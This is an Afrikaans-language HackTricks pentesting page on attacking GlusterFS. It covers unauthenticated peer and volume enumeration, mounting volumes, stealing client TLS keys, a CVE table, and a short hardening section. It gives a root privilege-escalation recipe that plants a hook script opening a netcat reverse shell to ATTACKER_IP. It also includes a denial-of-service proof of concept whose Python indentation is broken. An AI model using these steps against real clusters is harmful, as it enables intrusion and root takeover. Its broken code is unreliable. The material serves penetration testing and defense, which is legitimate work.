24007-24008-24009-49152 - Pentesting GlusterFS

Reading time: 5 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

GlusterFS is 'n verspreide lêerstelsel wat stoorplek van verskeie bedieners in een geïntegreerde naamruimte kombineer. Die bestuurdaemon (glusterd) luister standaard op 24007/TCP en gee opdrag aan data-vlak bakstene wat begin by 49152/TCP (een poort per baksteen, met 'n verhoging). Weergawes voor 9.x het 24008–24009/TCP gebruik vir baksteen vervoer, so jy sal steeds daardie poorte in erfenisklusters teëkom.

PORT      STATE  SERVICE        VERSION
24007/tcp open   glusterd       GlusterFS (RPC)
49152/tcp open   gluster-brick  SSL (TLS optional)

Wenk: 24007 antwoord RPC-oproepe selfs wanneer die slegs-stoor nodes nie enige volume uitvoer nie; daarom is die diens 'n betroubare pivot-teiken binne groot infrastruktuur.

Opname

Installeer die kliëntnutsgoed op jou aanvaldoos:

bash
sudo apt install -y glusterfs-cli glusterfs-client   # Debian/Ubuntu
  1. Peer ontdekking & gesondheid
bash
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
  1. Volume verkenning
bash
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
  1. Monteer sonder voorregte
bash
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster

As die montering misluk, kyk na /var/log/glusterfs/<vol_name>-<uid>.log aan die kliëntkant. Algemene probleme is:

  • TLS afdwinging (option transport.socket.ssl on)
  • Adresgebaseerde toegangbeheer (option auth.allow <cidr>)

Sertifikaat probleemoplossing

Steal die volgende lêers van enige geautoriseerde kliëntknoop en plaas dit in /etc/ssl/ (of die gids wat in die foutlog aangedui word):

/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca

Bekende Kw vulnerabilities (2022-2025)

CVEAangetaste weergawesImpakAantekeninge
CVE-2022-4834010.0–10.4, 11.0Gebruik-na-vry in dht_setxattr_mds_cbk bereikbaar deur die netwerkAfgeleë DoS en waarskynlike RCE. Geregverifieer in 10.4.1 / 11.1.
CVE-2023-26253< 11.0Buite-grense lees in FUSE kennisgewing handlerAfgeleë kragonderbreking deur vervaardigde FS operasies; openbare PoC beskikbaar.
CVE-2023-3775< 10.5 / 11.1Onkorrekte toestemming validasie wanneer gluster_shared_storage gemonteer wordLaat enige nie-geoutentiseerde kliënt toe om die admin volume te monteer – lei tot priv-esc hieronder verduidelik.

Kontroleer altyd gluster --version op elke node; heterogene klusters is algemeen na gedeeltelike opgraderings.

Exploitering van gluster_shared_storage (Privilegie Escalatie)

Selfs in onlangse weergawes laat baie administrateurs die spesiale gluster_shared_storage volume wêreld-leesbaar omdat dit geo-replikaasie vereenvoudig. Die volume bevat cronjob sjablone wat met root op elke node loop.

bash
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss

# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh

# 3. Wait until glusterd distributes the hook and executes it as root

As hooks/1/ nie teenwoordig is nie, soek na /ss_bricks/ – die presiese pad kan verskil met die hoofweergawe.

Denial-of-Service PoC (CVE-2023-26253)

python
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())

Running the script crashes glusterfsd < 11.0.


Hardening & Detection

  • Opgradeer – huidige LTS is 11.1 (Julie 2025). Alle CVE's hierbo is reggestel.
  • Aktiveer TLS vir elke baksteen:
bash
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
  • Beperk kliënte met CIDR-lists:
bash
gluster volume set <vol> auth.allow 10.0.0.0/24
  • Stel bestuuringspoort 24007 bloot slegs op 'n private VLAN of deur SSH-tunnels.
  • Kyk logs: tail -f /var/log/glusterfs/glusterd.log en konfigureer audit-log funksie (volume set <vol> features.audit-log on).

References

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks